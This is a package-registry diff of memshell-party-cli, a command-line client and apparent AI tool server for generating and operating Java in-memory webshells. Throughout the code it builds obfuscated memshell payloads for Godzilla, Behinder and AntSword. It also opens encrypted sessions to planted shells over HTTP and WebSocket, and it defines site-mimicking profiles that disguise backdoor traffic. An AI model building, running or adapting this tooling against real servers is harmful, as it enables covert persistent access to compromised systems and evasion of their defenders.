memshell-party-cli 0.7.0 → 0.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +70 -11
- package/README.md +36 -2
- package/dist/cli.js +1095 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +122 -11
- package/dist/index.js +1207 -212
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +547 -494
package/dist/index.js
CHANGED
|
@@ -15,6 +15,7 @@ var MemPartyClient = class {
|
|
|
15
15
|
baseUrl;
|
|
16
16
|
fetchImpl;
|
|
17
17
|
timeoutMs;
|
|
18
|
+
generationApiVersion;
|
|
18
19
|
constructor(options) {
|
|
19
20
|
this.baseUrl = options.baseUrl.replace(/\/+$/, "");
|
|
20
21
|
this.fetchImpl = options.fetch ?? globalThis.fetch;
|
|
@@ -26,8 +27,14 @@ var MemPartyClient = class {
|
|
|
26
27
|
}
|
|
27
28
|
}
|
|
28
29
|
// ---------- config ----------
|
|
29
|
-
getServers() {
|
|
30
|
-
|
|
30
|
+
async getServers() {
|
|
31
|
+
const config = await this.getConfig();
|
|
32
|
+
return Object.fromEntries(
|
|
33
|
+
Object.entries(config).map(([server, tools]) => [
|
|
34
|
+
server,
|
|
35
|
+
[...new Set(Object.values(tools).flat())]
|
|
36
|
+
])
|
|
37
|
+
);
|
|
31
38
|
}
|
|
32
39
|
getConfig() {
|
|
33
40
|
return this.request("GET", "/api/config");
|
|
@@ -35,28 +42,76 @@ var MemPartyClient = class {
|
|
|
35
42
|
getPackerTree() {
|
|
36
43
|
return this.request("GET", "/api/config/packers/tree");
|
|
37
44
|
}
|
|
38
|
-
getPackers() {
|
|
39
|
-
|
|
45
|
+
async getPackers() {
|
|
46
|
+
try {
|
|
47
|
+
return await this.request("GET", "/api/config/packers");
|
|
48
|
+
} catch (err) {
|
|
49
|
+
if (!(err instanceof ApiError) || err.status !== 404) throw err;
|
|
50
|
+
return (await this.getPackerTree()).map((packer) => packer.name);
|
|
51
|
+
}
|
|
40
52
|
}
|
|
41
|
-
getCommandConfigs() {
|
|
53
|
+
async getCommandConfigs() {
|
|
54
|
+
const configs = await this.getShellToolConfigs();
|
|
55
|
+
const command = configs.find((config) => config.tool === "Command");
|
|
56
|
+
if (command) {
|
|
57
|
+
return {
|
|
58
|
+
encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
|
|
59
|
+
implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
|
|
60
|
+
};
|
|
61
|
+
}
|
|
42
62
|
return this.request("GET", "/api/config/command/configs");
|
|
43
63
|
}
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
64
|
+
async getShellToolConfigs() {
|
|
65
|
+
try {
|
|
66
|
+
return await this.request("GET", "/api/config/shelltool/configs");
|
|
67
|
+
} catch (err) {
|
|
68
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
69
|
+
throw err;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
getObfuscationOptions() {
|
|
73
|
+
return this.request("GET", "/api/config/obfuscation/options");
|
|
74
|
+
}
|
|
75
|
+
async getProbeResponseServers() {
|
|
76
|
+
try {
|
|
77
|
+
return await this.request("GET", "/api/config/probe/response/servers");
|
|
78
|
+
} catch (err) {
|
|
79
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
80
|
+
throw err;
|
|
81
|
+
}
|
|
51
82
|
}
|
|
52
83
|
getVersion() {
|
|
53
84
|
return this.request("GET", "/api/version");
|
|
54
85
|
}
|
|
86
|
+
async getPlugins() {
|
|
87
|
+
try {
|
|
88
|
+
return await this.request("GET", "/api/plugins");
|
|
89
|
+
} catch (err) {
|
|
90
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
91
|
+
throw err;
|
|
92
|
+
}
|
|
93
|
+
}
|
|
55
94
|
// ---------- generation ----------
|
|
56
|
-
generateMemShell(req) {
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
95
|
+
async generateMemShell(req) {
|
|
96
|
+
const apiVersion = await this.getGenerationApiVersion();
|
|
97
|
+
try {
|
|
98
|
+
return await this.request("POST", "/api/memshell/generate", {
|
|
99
|
+
json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
|
|
100
|
+
});
|
|
101
|
+
} catch (err) {
|
|
102
|
+
if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
|
|
103
|
+
throw new ApiError(
|
|
104
|
+
`${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
|
|
105
|
+
err.status,
|
|
106
|
+
err.url
|
|
107
|
+
);
|
|
108
|
+
}
|
|
109
|
+
throw err;
|
|
110
|
+
}
|
|
111
|
+
}
|
|
112
|
+
getGenerationApiVersion() {
|
|
113
|
+
this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
|
|
114
|
+
return this.generationApiVersion;
|
|
60
115
|
}
|
|
61
116
|
generateProbe(req) {
|
|
62
117
|
return this.request("POST", "/api/probe/generate", {
|
|
@@ -70,6 +125,16 @@ var MemPartyClient = class {
|
|
|
70
125
|
raw: true
|
|
71
126
|
});
|
|
72
127
|
}
|
|
128
|
+
decodeBytecode(classBase64) {
|
|
129
|
+
return this.request("POST", "/api/bytecode/decode", {
|
|
130
|
+
text: classBase64
|
|
131
|
+
});
|
|
132
|
+
}
|
|
133
|
+
transformBytecode(req) {
|
|
134
|
+
return this.request("POST", "/api/bytecode/transform", {
|
|
135
|
+
json: req
|
|
136
|
+
});
|
|
137
|
+
}
|
|
73
138
|
// ---------- transport ----------
|
|
74
139
|
async request(method, path, opts = {}) {
|
|
75
140
|
const url = `${this.baseUrl}${path}`;
|
|
@@ -123,10 +188,151 @@ var MemPartyClient = class {
|
|
|
123
188
|
return JSON.parse(rawText);
|
|
124
189
|
}
|
|
125
190
|
};
|
|
191
|
+
function toLegacyMemShellRequest(req) {
|
|
192
|
+
const { pass, key, paramName, template, ...common } = req.shellToolConfig;
|
|
193
|
+
const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
|
|
194
|
+
return {
|
|
195
|
+
...req,
|
|
196
|
+
shellConfig: {
|
|
197
|
+
...shellConfig,
|
|
198
|
+
probe: shellConfig.probe ? true : void 0
|
|
199
|
+
},
|
|
200
|
+
shellToolConfig: {
|
|
201
|
+
...common,
|
|
202
|
+
godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
|
|
203
|
+
godzillaKey: key,
|
|
204
|
+
commandParamName: paramName,
|
|
205
|
+
commandTemplate: template,
|
|
206
|
+
behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
|
|
207
|
+
antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
|
|
208
|
+
}
|
|
209
|
+
};
|
|
210
|
+
}
|
|
126
211
|
|
|
127
212
|
// src/core/request-builder.ts
|
|
128
213
|
import { randomInt } from "crypto";
|
|
129
214
|
|
|
215
|
+
// src/core/shell-tool-config.ts
|
|
216
|
+
function toolConfigForTool(configs, tool) {
|
|
217
|
+
return configs.find((config) => config.tool === tool);
|
|
218
|
+
}
|
|
219
|
+
function parseShellToolConfig(assignments, params) {
|
|
220
|
+
const result = {};
|
|
221
|
+
for (const assignment of assignments ?? []) {
|
|
222
|
+
const separator = assignment.indexOf("=");
|
|
223
|
+
if (separator <= 0) {
|
|
224
|
+
throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
|
|
225
|
+
}
|
|
226
|
+
const name = assignment.slice(0, separator).trim();
|
|
227
|
+
const rawValue = assignment.slice(separator + 1);
|
|
228
|
+
if (!name) throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
|
|
229
|
+
const param = params?.find((candidate) => candidate.name === name);
|
|
230
|
+
if (params !== void 0 && param === void 0) {
|
|
231
|
+
throw new Error(
|
|
232
|
+
`Unknown shell tool option "${name}". Available options: ${params.map((item) => item.name).join(", ") || "(none)"}.`
|
|
233
|
+
);
|
|
234
|
+
}
|
|
235
|
+
if (param?.type === "object") {
|
|
236
|
+
result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
|
|
237
|
+
} else if (rawValue.startsWith("{")) {
|
|
238
|
+
result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
|
|
239
|
+
} else {
|
|
240
|
+
result[name] = rawValue;
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
return result;
|
|
244
|
+
}
|
|
245
|
+
function parseToolConfigFile(source, params) {
|
|
246
|
+
const parsed = parseJsonObject(source, "--tool-config");
|
|
247
|
+
const assignments = Object.entries(parsed).map(([name, value]) => {
|
|
248
|
+
if (typeof value === "string") return `${name}=${value}`;
|
|
249
|
+
return `${name}=${JSON.stringify(value)}`;
|
|
250
|
+
});
|
|
251
|
+
return parseShellToolConfig(assignments, params);
|
|
252
|
+
}
|
|
253
|
+
function validateRequiredRemoteOptions(config, params) {
|
|
254
|
+
const missing = (params ?? []).filter((param) => param.ui?.kind === "remote-select" && param.ui.required).filter((param) => {
|
|
255
|
+
const value = config[param.name];
|
|
256
|
+
return value === void 0 || typeof value === "string" && value.trim() === "";
|
|
257
|
+
}).map((param) => param.name);
|
|
258
|
+
if (missing.length > 0) {
|
|
259
|
+
throw new Error(
|
|
260
|
+
`Missing required remote shell tool option(s): ${missing.join(", ")}. Provide them with --tool-option or --tool-config.`
|
|
261
|
+
);
|
|
262
|
+
}
|
|
263
|
+
}
|
|
264
|
+
function parseJsonObject(source, label) {
|
|
265
|
+
let parsed;
|
|
266
|
+
try {
|
|
267
|
+
parsed = JSON.parse(source);
|
|
268
|
+
} catch (err) {
|
|
269
|
+
throw new Error(`${label} must be valid JSON: ${err.message}`);
|
|
270
|
+
}
|
|
271
|
+
if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
|
|
272
|
+
throw new Error(`${label} must be a JSON object.`);
|
|
273
|
+
}
|
|
274
|
+
return parsed;
|
|
275
|
+
}
|
|
276
|
+
function readRemotePath(value, path) {
|
|
277
|
+
if (!path) return value;
|
|
278
|
+
let current = value;
|
|
279
|
+
for (const segment of path.split(".")) {
|
|
280
|
+
if (!segment || typeof current !== "object" || current === null || Array.isArray(current) || !(segment in current)) {
|
|
281
|
+
return void 0;
|
|
282
|
+
}
|
|
283
|
+
current = current[segment];
|
|
284
|
+
}
|
|
285
|
+
return current;
|
|
286
|
+
}
|
|
287
|
+
function normalizeRemoteOptions(payload, hint, objectMode) {
|
|
288
|
+
const items = readRemotePath(payload, hint.itemsPath);
|
|
289
|
+
if (!Array.isArray(items)) {
|
|
290
|
+
throw new Error("Remote options response does not contain an array at itemsPath.");
|
|
291
|
+
}
|
|
292
|
+
return items.map((item) => {
|
|
293
|
+
if (typeof item !== "object" || item === null || Array.isArray(item)) {
|
|
294
|
+
throw new Error("Remote option items must be objects.");
|
|
295
|
+
}
|
|
296
|
+
const rawLabel = readRemotePath(item, hint.labelPath);
|
|
297
|
+
if (typeof rawLabel !== "string" && typeof rawLabel !== "number") {
|
|
298
|
+
throw new Error("Remote option labels must be strings or numbers.");
|
|
299
|
+
}
|
|
300
|
+
if (objectMode) return { label: String(rawLabel), value: item };
|
|
301
|
+
if (!hint.valuePath) throw new Error("String remote options require valuePath.");
|
|
302
|
+
const rawValue = readRemotePath(item, hint.valuePath);
|
|
303
|
+
if (typeof rawValue !== "string" && typeof rawValue !== "number") {
|
|
304
|
+
throw new Error("Remote option values must be strings or numbers.");
|
|
305
|
+
}
|
|
306
|
+
return { label: String(rawLabel), value: String(rawValue) };
|
|
307
|
+
});
|
|
308
|
+
}
|
|
309
|
+
function validateRemoteOptionsUrl(value) {
|
|
310
|
+
const url = new URL(value);
|
|
311
|
+
if (url.protocol !== "http:" && url.protocol !== "https:") {
|
|
312
|
+
throw new Error("Remote options URL must use HTTP or HTTPS.");
|
|
313
|
+
}
|
|
314
|
+
return url.toString();
|
|
315
|
+
}
|
|
316
|
+
async function fetchRemoteOptions(sourceUrl, hint, objectMode, fetchImpl = globalThis.fetch, signal) {
|
|
317
|
+
const url = validateRemoteOptionsUrl(sourceUrl);
|
|
318
|
+
const response = await fetchImpl(url, {
|
|
319
|
+
method: "GET",
|
|
320
|
+
headers: { Accept: "application/json" },
|
|
321
|
+
redirect: "follow",
|
|
322
|
+
signal
|
|
323
|
+
});
|
|
324
|
+
if (!response.ok) {
|
|
325
|
+
throw new Error(`Remote options request failed (${response.status} ${response.statusText}).`);
|
|
326
|
+
}
|
|
327
|
+
let payload;
|
|
328
|
+
try {
|
|
329
|
+
payload = await response.json();
|
|
330
|
+
} catch {
|
|
331
|
+
throw new Error("Remote options response must be valid JSON.");
|
|
332
|
+
}
|
|
333
|
+
return normalizeRemoteOptions(payload, hint, objectMode);
|
|
334
|
+
}
|
|
335
|
+
|
|
130
336
|
// src/core/jdk.ts
|
|
131
337
|
var JDK_VERSIONS = {
|
|
132
338
|
java6: 50,
|
|
@@ -134,7 +340,8 @@ var JDK_VERSIONS = {
|
|
|
134
340
|
java9: 53,
|
|
135
341
|
java11: 55,
|
|
136
342
|
java17: 61,
|
|
137
|
-
java21: 65
|
|
343
|
+
java21: 65,
|
|
344
|
+
java25: 69
|
|
138
345
|
};
|
|
139
346
|
function resolveJreVersion(input) {
|
|
140
347
|
if (input === void 0 || input === "") return void 0;
|
|
@@ -169,6 +376,7 @@ function generateSpringExpressionInjectorClassName() {
|
|
|
169
376
|
return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;
|
|
170
377
|
}
|
|
171
378
|
function buildMemShellRequest(opts) {
|
|
379
|
+
validateRequiredRemoteOptions(opts.shellToolConfig ?? {}, opts.shellToolParams);
|
|
172
380
|
const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer) ? generateSpringExpressionInjectorClassName() : opts.injectorClassName;
|
|
173
381
|
return {
|
|
174
382
|
shellConfig: {
|
|
@@ -181,21 +389,22 @@ function buildMemShellRequest(opts) {
|
|
|
181
389
|
byPassJavaModule: opts.byPassJavaModule,
|
|
182
390
|
shrink: opts.shrink,
|
|
183
391
|
lambdaSuffix: opts.lambdaSuffix,
|
|
184
|
-
probe: opts.probe
|
|
392
|
+
probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
|
|
393
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
|
|
394
|
+
obfuscationScope: opts.obfuscationScope
|
|
185
395
|
},
|
|
186
396
|
shellToolConfig: {
|
|
187
397
|
shellClassName: opts.shellClassName,
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
behinderPass: opts.behinderPass,
|
|
193
|
-
antSwordPass: opts.antSwordPass,
|
|
398
|
+
pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
|
|
399
|
+
key: opts.godzillaKey,
|
|
400
|
+
paramName: opts.commandParamName,
|
|
401
|
+
template: opts.commandTemplate,
|
|
194
402
|
headerName: opts.headerName,
|
|
195
403
|
headerValue: opts.headerValue,
|
|
196
404
|
shellClassBase64: opts.shellClassBase64,
|
|
197
405
|
encryptor: opts.encryptor,
|
|
198
|
-
implementationClass: opts.implementationClass
|
|
406
|
+
implementationClass: opts.implementationClass,
|
|
407
|
+
...opts.shellToolConfig
|
|
199
408
|
},
|
|
200
409
|
injectorConfig: {
|
|
201
410
|
injectorClassName,
|
|
@@ -216,7 +425,8 @@ function buildProbeRequest(opts) {
|
|
|
216
425
|
byPassJavaModule: opts.byPassJavaModule,
|
|
217
426
|
shrink: opts.shrink,
|
|
218
427
|
staticInitialize: opts.staticInitialize,
|
|
219
|
-
lambdaSuffix: opts.lambdaSuffix
|
|
428
|
+
lambdaSuffix: opts.lambdaSuffix,
|
|
429
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
|
|
220
430
|
},
|
|
221
431
|
probeContentConfig: {
|
|
222
432
|
host: opts.host,
|
|
@@ -224,7 +434,8 @@ function buildProbeRequest(opts) {
|
|
|
224
434
|
sleepServer: opts.sleepServer,
|
|
225
435
|
server: opts.server,
|
|
226
436
|
reqParamName: opts.reqParamName,
|
|
227
|
-
commandTemplate: opts.commandTemplate
|
|
437
|
+
commandTemplate: opts.commandTemplate,
|
|
438
|
+
respHeaderName: opts.respHeaderName
|
|
228
439
|
},
|
|
229
440
|
packer: opts.packer
|
|
230
441
|
};
|
|
@@ -376,7 +587,7 @@ function formatOp(e) {
|
|
|
376
587
|
// src/mcp/server.ts
|
|
377
588
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
378
589
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
379
|
-
import { writeFileSync as
|
|
590
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
380
591
|
import { z } from "zod";
|
|
381
592
|
|
|
382
593
|
// src/connect/assets.ts
|
|
@@ -667,6 +878,20 @@ function postRaw(url, body, options = {}) {
|
|
|
667
878
|
return new Promise((resolve2, reject) => {
|
|
668
879
|
const started = Date.now();
|
|
669
880
|
const transport = isHttps ? https : http;
|
|
881
|
+
const onResponse = (res) => {
|
|
882
|
+
const chunks = [];
|
|
883
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
884
|
+
res.on(
|
|
885
|
+
"end",
|
|
886
|
+
() => resolve2({
|
|
887
|
+
status: res.statusCode ?? 0,
|
|
888
|
+
headers: res.headers,
|
|
889
|
+
body: Buffer.concat(chunks),
|
|
890
|
+
durationMs: Date.now() - started
|
|
891
|
+
})
|
|
892
|
+
);
|
|
893
|
+
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
894
|
+
};
|
|
670
895
|
const req = transport.request(
|
|
671
896
|
{
|
|
672
897
|
method: "POST",
|
|
@@ -684,21 +909,9 @@ function postRaw(url, body, options = {}) {
|
|
|
684
909
|
timeout: timeoutMs,
|
|
685
910
|
...isHttps && insecure ? { rejectUnauthorized: false } : {}
|
|
686
911
|
},
|
|
687
|
-
|
|
688
|
-
const chunks = [];
|
|
689
|
-
res.on("data", (chunk) => chunks.push(chunk));
|
|
690
|
-
res.on(
|
|
691
|
-
"end",
|
|
692
|
-
() => resolve2({
|
|
693
|
-
status: res.statusCode ?? 0,
|
|
694
|
-
headers: res.headers,
|
|
695
|
-
body: Buffer.concat(chunks),
|
|
696
|
-
durationMs: Date.now() - started
|
|
697
|
-
})
|
|
698
|
-
);
|
|
699
|
-
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
700
|
-
}
|
|
912
|
+
onResponse
|
|
701
913
|
);
|
|
914
|
+
req.on("upgrade", onResponse);
|
|
702
915
|
req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
|
|
703
916
|
req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
704
917
|
req.write(body);
|
|
@@ -1124,6 +1337,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
|
1124
1337
|
|
|
1125
1338
|
// src/connect/godzilla.ts
|
|
1126
1339
|
import iconv from "iconv-lite";
|
|
1340
|
+
|
|
1341
|
+
// src/connect/websocket.ts
|
|
1342
|
+
import WebSocket from "ws";
|
|
1343
|
+
function isWebSocketUrl(url) {
|
|
1344
|
+
return /^wss?:\/\//i.test(url);
|
|
1345
|
+
}
|
|
1346
|
+
function requestWebSocket(url, body, options = {}) {
|
|
1347
|
+
let target;
|
|
1348
|
+
try {
|
|
1349
|
+
target = new URL(url);
|
|
1350
|
+
} catch {
|
|
1351
|
+
return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
|
|
1352
|
+
}
|
|
1353
|
+
if (target.protocol !== "ws:" && target.protocol !== "wss:") {
|
|
1354
|
+
return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
|
|
1355
|
+
}
|
|
1356
|
+
const timeoutMs = options.timeoutMs ?? 3e4;
|
|
1357
|
+
return new Promise((resolve2, reject) => {
|
|
1358
|
+
const socket = new WebSocket(target, {
|
|
1359
|
+
headers: buildHeaders({}, options),
|
|
1360
|
+
handshakeTimeout: timeoutMs,
|
|
1361
|
+
rejectUnauthorized: !options.insecure,
|
|
1362
|
+
perMessageDeflate: false,
|
|
1363
|
+
maxPayload: 256 * 1024 * 1024
|
|
1364
|
+
});
|
|
1365
|
+
let timer;
|
|
1366
|
+
let settled = false;
|
|
1367
|
+
const finish = (error, result) => {
|
|
1368
|
+
if (settled) return;
|
|
1369
|
+
settled = true;
|
|
1370
|
+
if (timer) clearTimeout(timer);
|
|
1371
|
+
timer = void 0;
|
|
1372
|
+
socket.removeAllListeners();
|
|
1373
|
+
if (error) reject(error);
|
|
1374
|
+
else resolve2(result);
|
|
1375
|
+
socket.close();
|
|
1376
|
+
};
|
|
1377
|
+
timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
|
|
1378
|
+
socket.once("open", () => socket.send(body));
|
|
1379
|
+
socket.on("message", (data, isBinary) => {
|
|
1380
|
+
finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
|
|
1381
|
+
});
|
|
1382
|
+
socket.once("close", () => finish(new Error("WebSocket closed without a response")));
|
|
1383
|
+
socket.once("error", (error) => finish(error));
|
|
1384
|
+
socket.once("unexpected-response", (_request, response) => {
|
|
1385
|
+
finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
|
|
1386
|
+
});
|
|
1387
|
+
});
|
|
1388
|
+
}
|
|
1389
|
+
|
|
1390
|
+
// src/connect/godzilla.ts
|
|
1127
1391
|
function serializeParams(params) {
|
|
1128
1392
|
const parts = [];
|
|
1129
1393
|
for (const [key, value] of params) {
|
|
@@ -1170,7 +1434,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1170
1434
|
const left = wrapper.slice(0, 16);
|
|
1171
1435
|
const right = wrapper.slice(16);
|
|
1172
1436
|
const baseHeaders = buildHeaders(
|
|
1173
|
-
{
|
|
1437
|
+
{
|
|
1438
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1439
|
+
...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
|
|
1440
|
+
},
|
|
1174
1441
|
options
|
|
1175
1442
|
);
|
|
1176
1443
|
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
@@ -1178,14 +1445,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1178
1445
|
timeoutMs: options.timeoutMs,
|
|
1179
1446
|
insecure: options.insecure
|
|
1180
1447
|
});
|
|
1181
|
-
|
|
1182
|
-
|
|
1183
|
-
|
|
1448
|
+
let cookie;
|
|
1449
|
+
if (isWebSocketUrl(url)) {
|
|
1450
|
+
await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
|
|
1451
|
+
} else {
|
|
1452
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
1453
|
+
const cookies = extractCookies(initResponse.headers);
|
|
1454
|
+
cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
1455
|
+
}
|
|
1184
1456
|
return {
|
|
1185
1457
|
async callMethod(methodName, extraParams = []) {
|
|
1186
1458
|
const callData = gzip(
|
|
1187
1459
|
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1188
1460
|
);
|
|
1461
|
+
if (isWebSocketUrl(url)) {
|
|
1462
|
+
const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
|
|
1463
|
+
try {
|
|
1464
|
+
return gunzipLenient(aesEcbDecrypt(response, xc));
|
|
1465
|
+
} catch {
|
|
1466
|
+
throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
|
|
1467
|
+
}
|
|
1468
|
+
}
|
|
1189
1469
|
const res = await post(callData, cookie);
|
|
1190
1470
|
const text = res.body.toString("latin1");
|
|
1191
1471
|
const leftIdx = text.indexOf(left);
|
|
@@ -1647,9 +1927,568 @@ async function testSuo5(url, options = {}) {
|
|
|
1647
1927
|
};
|
|
1648
1928
|
}
|
|
1649
1929
|
|
|
1930
|
+
// src/connect/mimic.ts
|
|
1931
|
+
import { randomInt as randomInt3 } from "crypto";
|
|
1932
|
+
|
|
1933
|
+
// src/core/site-profile.ts
|
|
1934
|
+
import { existsSync as existsSync2, mkdirSync as mkdirSync2, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
|
|
1935
|
+
import { homedir as homedir3 } from "os";
|
|
1936
|
+
import { join as join3 } from "path";
|
|
1937
|
+
function inferBodyTemplateContentType(bodyTemplate) {
|
|
1938
|
+
const t = bodyTemplate.trimStart();
|
|
1939
|
+
if (t.startsWith("--")) return "multipart/form-data";
|
|
1940
|
+
if (t.startsWith("{") || t.startsWith("[")) return "application/json";
|
|
1941
|
+
if (t.startsWith("<")) return "text/xml";
|
|
1942
|
+
return null;
|
|
1943
|
+
}
|
|
1944
|
+
function profileTemplates(profile) {
|
|
1945
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
1946
|
+
return profile.templates;
|
|
1947
|
+
}
|
|
1948
|
+
if (profile.template) {
|
|
1949
|
+
return [
|
|
1950
|
+
{
|
|
1951
|
+
title: profile.title ?? "",
|
|
1952
|
+
template: profile.template,
|
|
1953
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
1954
|
+
}
|
|
1955
|
+
];
|
|
1956
|
+
}
|
|
1957
|
+
return [];
|
|
1958
|
+
}
|
|
1959
|
+
function profileRequests(profile) {
|
|
1960
|
+
if (!profile.request) return [];
|
|
1961
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
1962
|
+
}
|
|
1963
|
+
function pickRequestShape(requests) {
|
|
1964
|
+
if (requests.length === 0) return void 0;
|
|
1965
|
+
const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
|
|
1966
|
+
let roll = Math.random() * total;
|
|
1967
|
+
for (const r of requests) {
|
|
1968
|
+
roll -= r.weight ?? 1;
|
|
1969
|
+
if (roll <= 0) return r;
|
|
1970
|
+
}
|
|
1971
|
+
return requests[requests.length - 1];
|
|
1972
|
+
}
|
|
1973
|
+
var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1974
|
+
var PAYLOAD_PLACEHOLDER = "{{payload}}";
|
|
1975
|
+
function profilesDir() {
|
|
1976
|
+
const override = process.env.MEMPARTY_PROFILES;
|
|
1977
|
+
return override ? override : join3(homedir3(), ".memparty", "profiles");
|
|
1978
|
+
}
|
|
1979
|
+
function profilePath(name) {
|
|
1980
|
+
return join3(profilesDir(), `${name}.json`);
|
|
1981
|
+
}
|
|
1982
|
+
function validateProfile(profile) {
|
|
1983
|
+
if (!NAME_RE.test(profile.name)) {
|
|
1984
|
+
throw new Error(
|
|
1985
|
+
`invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1986
|
+
);
|
|
1987
|
+
}
|
|
1988
|
+
if (!profile.site || !/^https?:\/\//.test(profile.site)) {
|
|
1989
|
+
throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
|
|
1990
|
+
}
|
|
1991
|
+
const templates = profileTemplates(profile);
|
|
1992
|
+
if (templates.length === 0) {
|
|
1993
|
+
throw new Error("profile needs at least one template (templates[] or legacy template)");
|
|
1994
|
+
}
|
|
1995
|
+
templates.forEach((t, i) => {
|
|
1996
|
+
if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
|
|
1997
|
+
throw new Error(
|
|
1998
|
+
`templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
|
|
1999
|
+
);
|
|
2000
|
+
}
|
|
2001
|
+
if (!t.contentType) {
|
|
2002
|
+
throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
|
|
2003
|
+
}
|
|
2004
|
+
});
|
|
2005
|
+
if (!Array.isArray(profile.paths)) {
|
|
2006
|
+
throw new Error("profile.paths must be an array (may be empty)");
|
|
2007
|
+
}
|
|
2008
|
+
for (const [ri, req] of profileRequests(profile).entries()) {
|
|
2009
|
+
if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
|
|
2010
|
+
throw new Error(`request[${ri}].secretField must be a form-field name`);
|
|
2011
|
+
}
|
|
2012
|
+
if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
|
|
2013
|
+
throw new Error(`request[${ri}].secretIn must be body | query | header`);
|
|
2014
|
+
}
|
|
2015
|
+
if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
|
|
2016
|
+
throw new Error(`request[${ri}].bodyStyle must be form | json`);
|
|
2017
|
+
}
|
|
2018
|
+
if (req.bodyTemplate !== void 0) {
|
|
2019
|
+
if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
|
|
2020
|
+
throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
|
|
2021
|
+
}
|
|
2022
|
+
